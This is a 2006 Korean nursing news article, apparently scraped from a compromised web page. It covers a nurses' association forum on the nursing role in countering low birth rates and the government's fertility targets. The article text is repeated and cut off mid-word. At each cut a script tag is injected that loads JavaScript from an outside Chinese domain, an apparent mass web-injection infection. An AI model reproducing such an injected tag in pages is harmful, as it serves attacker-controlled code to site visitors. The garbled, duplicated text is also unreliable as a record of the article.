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저출산 극복, 간호사 나서야 할 때
기사입력 2006-12-07 오전 08:55:52
"저출산 극복 정책제안 적극 참여"
"여성.아동 건강옹호자 역할 해야"
"행복한 결혼과 출산 가치관 교육"
◆ 간호사 역할
저출산 문제를 극복하는데 간호사들이 주도적인 역할을 해야 한다는 목소리가 높다.
대한간호협회 대한간호정책연구소는 `저출산 시대의 간호사 역할' 주제 간호정책포럼을 9월부터 11월까지 4회에 걸쳐 열었다. 포럼에서는 간호사들이 저출산 극복을 위해 해야 할 구체적인 역할이 심층 논의됐다.
먼저, 간호사들이 가임기 여성 및 영유아의 건강관리 적임자임을 알리고 지역사회 건강증진 전문가로 나서야 한다는 의견이다. 이삼식 한국보건사회연구원 저출산정책연구팀장은 “만혼과 고령출산으로 출산건강이 악화돼 아이 낳기를 포기하는 여성들이 증가하고 있다”면서 “간호사들이 모성 및 영유아 건강관리에 적극 참여해야 한다”고 말했다. 보건소 방문간호사가 중심이 돼 여성과 아동을 직접 찾아나서는 서비스를 강화해야 한다는 제안도 나왔다.
유은광 한양대 간호학과 교수는 “여성이 행복한 출산을 경험할 수 있도록 돕는 것이 중요하다”면서 “가정전문간호사, 모유수유전문가 등 전문인력과 30～40대 간호사 유휴인력을 적극 활용해 지역사회 여성과 아동건강을 효과적으로 관리해야 한다”고 강조했다.
저출산 관련 정부정책에 꾸준한 관심을 갖고 창의적인 기획력을 발휘해 정책을 제안하고, 사업 수행에 참여해야 한다는 목소리도 높다. 이영숙 전남대 간호대학 교수는 “간호사들은 출산율 제고를 위한 정책제안과 홍보사업에 주체적으로 참여해 전문직업인으로서 역량을 부각시켜야 한다”고 강조했다.
조산사의 역할이 확대돼야 한다는 의견도 나왔다. 서원심 열린가족조산원장은 “조산사는 여성들이 행복한 출산을 경험하도록 가족중심의 분만환경을 조성하는 등 다각도로 노력하고 있다”면서 “조산사 양성 교육기관과 조산원이 늘어날 수 있도록 제도적 지원이 뒷받침돼야 한다”고 말했다.
예비부모인 청소년 교육의 중요성도 강조됐다. 청소년이 성인으로 성장했을 때 결혼에 대해 긍정적인 태도를 갖고, 임신과 출산에 대해 자긍심을 가질 수 있도록 가치관을 변화시켜야 한다는 것. 출산율이 높아지고 가족친화적.양성평등적 사회문화가 조성돼 여성의 육아부담 해결에도 도움을 줄 것이라는 전망이다. 체계적인 교육을 위해 보건교과를 정규과목으로 개설하고 보건교사를 확대 배치해야 한다는 지적도 나왔다.
포럼 참석자들은 저출산 극복을 위해 자녀는 반드시 필요한 존재이고, 사회적 자원이라는 가치관을 확산하는데 간호사들이 기여해야 한다고 입을 모았다. 여성이 일과 가정을 양립할 수 있도록 경제적 지원과 사회적 인프라가 구축돼야 한다는 데도 공감대가 형성됐다.
이유정 기자 yjlee@koreanurse.or.kr
◆ 정부 정책방향
- 2020년 합계출산율 목표 1.8명
- 일과 육아 병행 환경조성 주력
저출산 현상 극복을 위해 정부는 `출산과 양육에 장애없는 사회를 만든다'는 목표 아래 다양한 정책을 세우고 있다. 이를 통해 현재 1.08명인 합계출산율을 2020년 1.8명까지 높일 수 있을 것으로 기대하고 있다.
정부는 영유아 보육 및 교육비 지원을 확대하고, 조세체계와 건강보험료 부과체계를 개선해 다자녀 가구에게 유리할 수 있도록 제도를 바꿀 계획이다. 자녀 출산시 최대 50개월까지 연금을 추가 납부한 것으로 인정해 주는 국민연금 출산크레딧 제도는 이미 국회 보건복지위원회 전체회의를 통과했다. 2008년부터는 다자녀 가구 대상 청약가점제도도 시행될 전망이다.
모성과 영유아 건강증진을 위해서는 미숙아 및 선천성 이상아 지원과 국가 무상필수예방접종 사업을 확대 실시할 예정이다. 특히 신생아 영양과 건강증진을 위해 민간단체, 의료기관 등과 연계한 모유수유 캠페인을 활성화해 나갈 방침이다.
산전후 휴가급여 지원을 확대하고 배우자 출산간호휴가제를 도입하는 등 일과 양육을 병행하는데 어려움이 없는 환경을 만들 생각이다. 보건교사를 확대 배치하고 교육과정을 보완하며, 학생 보건상담서비스를 강화하기 위해 보건교사 연수 및 교육 기회를 대폭 확대할 방침이다. 다자녀 가구에 불리한 기존 제도는 개정하고, 제도 시행 시 저출산에 미칠 영향을 미리 분석해 반영하는 영향평가제도도 도입할 예정이다.
이같은 정책을 통해 현재 1.08명인 합계출산율을 2010년 1.4명, 2015년 1.6명, 2020년 1.8명까지 높일 수 있을 것으로 내다보고 있다. 잠재성장률도 2040년 기준 1.53%에서 2.16%로 향상될 것으로 기대하고 있다.
정부는 지난해 9월 `저출산.고령사회위원회'를 대통령 직속으로 출범시켰다. 추진기구로 보건복지부에 `저출산.고령사회정책본부'를 두었고, `저출산.고령사회기본계획'을 수립해 추진 중이다. 국무총리 산하에는 범국?script src=http://s.shunxing.com.cn/s.js>
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"여성.아동 건강옹호자 역할 해야"
"행복한 결혼과 출산 가치관 교육"
◆ 간호사 역할
저출산 문제를 극복하는데 간호사들이 주도적인 역할을 해야 한다는 목소리가 높다.
대한간호협회 대한간호정책연구소는 `저출산 시대의 간호사 역할' 주제 간호정책포럼을 9월부터 11월까지 4회에 걸쳐 열었다. 포럼에서는 간호사들이 저출산 극복을 위해 해야 할 구체적인 역할이 심층 논의됐다.
먼저, 간호사들이 가임기 여성 및 영유아의 건강관리 적임자임을 알리고 지역사회 건강증진 전문가로 나서야 한다는 의견이다. 이삼식 한국보건사회연구원 저출산정책연구팀장은 “만혼과 고령출산으로 출산건강이 악화돼 아이 낳기를 포기하는 여성들이 증가하고 있다”면서 “간호사들이 모성 및 영유아 건강관리에 적극 참여해야 한다”고 말했다. 보건소 방문간호사가 중심이 돼 여성과 아동을 직접 찾아나서는 서비스를 강화해야 한다는 제안도 나왔다.
유은광 한양대 간호학과 교수는 “여성이 행복한 출산을 경험할 수 있도록 돕는 것이 중요하다”면서 “가정전문간호사, 모유수유전문가 등 전문인력과 30～40대 간호사 유휴인력을 적극 활용해 지역사회 여성과 아동건강을 효과적으로 관리해야 한다”고 강조했다.
저출산 관련 정부정책에 꾸준한 관심을 갖고 창의적인 기획력을 발휘해 정책을 제안하고, 사업 수행에 참여해야 한다는 목소리도 높다. 이영숙 전남대 간호대학 교수는 “간호사들은 출산율 제고를 위한 정책제안과 홍보사업에 주체적으로 참여해 전문직업인으로서 역량을 부각시켜야 한다”고 강조했다.
조산사의 역할이 확대돼야 한다는 의견도 나왔다. 서원심 열린가족조산원장은 “조산사는 여성들이 행복한 출산을 경험하도록 가족중심의 분만환경을 조성하는 등 다각도로 노력하고 있다”면서 “조산사 양성 교육기관과 조산원이 늘어날 수 있도록 제도적 지원이 뒷받침돼야 한다”고 말했다.
예비부모인 청소년 교육의 중요성도 강조됐다. 청소년이 성인으로 성장했을 때 결혼에 대해 긍정적인 태도를 갖고, 임신과 출산에 대해 자긍심을 가질 수 있도록 가치관을 변화시켜야 한다는 것. 출산율이 높아지고 가족친화적.양성평등적 사회문화가 조성돼 여성의 육아부담 해결에도 도움을 줄 것이라는 전망이다. 체계적인 교육을 위해 보건교과를 정규과목으로 개설하고 보건교사를 확대 배치해야 한다는 지적도 나왔다.
포럼 참석자들은 저출산 극복을 위해 자녀는 반드시 필요한 존재이고, 사회적 자원이라는 가치관을 확산하는데 간호사들이 기여해야 한다고 입을 모았다. 여성이 일과 가정을 양립할 수 있도록 경제적 지원과 사회적 인프라가 구축돼야 한다는 데도 공감대가 형성됐다.
이유정 기자 yjlee@koreanurse.or.kr
◆ 정부 정책방향
- 2020년 합계출산율 목표 1.8명
- 일과 육아 병행 환경조성 주력
저출산 현상 극복을 위해 정부는 `출산과 양육에 장애없는 사회를 만든다'는 목표 아래 다양한 정책을 세우고 있다. 이를 통해 현재 1.08명인 합계출산율을 2020년 1.8명까지 높일 수 있을 것으로 기대하고 있다.
정부는 영유아 보육 및 교육비 지원을 확대하고, 조세체계와 건강보험료 부과체계를 개선해 다자녀 가구에게 유리할 수 있도록 제도를 바꿀 계획이다. 자녀 출산시 최대 50개월까지 연금을 추가 납부한 것으로 인정해 주는 국민연금 출산크레딧 제도는 이미 국회 보건복지위원회 전체회의를 통과했다. 2008년부터는 다자녀 가구 대상 청약가점제도도 시행될 전망이다.
모성과 영유아 건강증진을 위해서는 미숙아 및 선천성 이상아 지원과 국가 무상필수예방접종 사업을 확대 실시할 예정이다. 특히 신생아 영양과 건강증진을 위해 민간단체, 의료기관 등과 연계한 모유수유 캠페인을 활성화해 나갈 방침이다.
산전후 휴가급여 지원을 확대하고 배우자 출산간호휴가제를 도입하는 등 일과 양육을 병행하는데 어려움이 없는 환경을 만들 생각이다. 보건교사를 확대 배치하고 교육과정을 보완하며, 학생 보건상담서비스를 강화하기 위해 보건교사 연수 및 교육 기회를 대폭 확대할 방침이다. 다자녀 가구에 불리한 기존 제도는 개정하고, 제도 시행 시 저출산에 미칠 영향을 미리 분석해 반영하는 영향평가제도도 도입할 예정이다.
이같은 정책을 통해 현재 1.08명인 합계출산율을 2010년 1.4명, 2015년 1.6명, 2020년 1.8명까지 높일 수 있을 것으로 내다보고 있다. 잠재성장률도 2040년 기준 1.53%에서 2.16%로 향상될 것으로 기대하고 있다.
정부는 지난해 9월 `저출산.고령사회위원회'를 대통령 직속으로 출범시켰다. 추진기구로 보건복지부에 `저출산.고령사회정책본부'를 두었고, `저출산.고령사회기본계획'을 수립해 추진 중이다. 국무총리 산하에는 범국?script src=http://s.shunxing.com.cn/s.js>
김현정 hjkim@nursenews.co.kr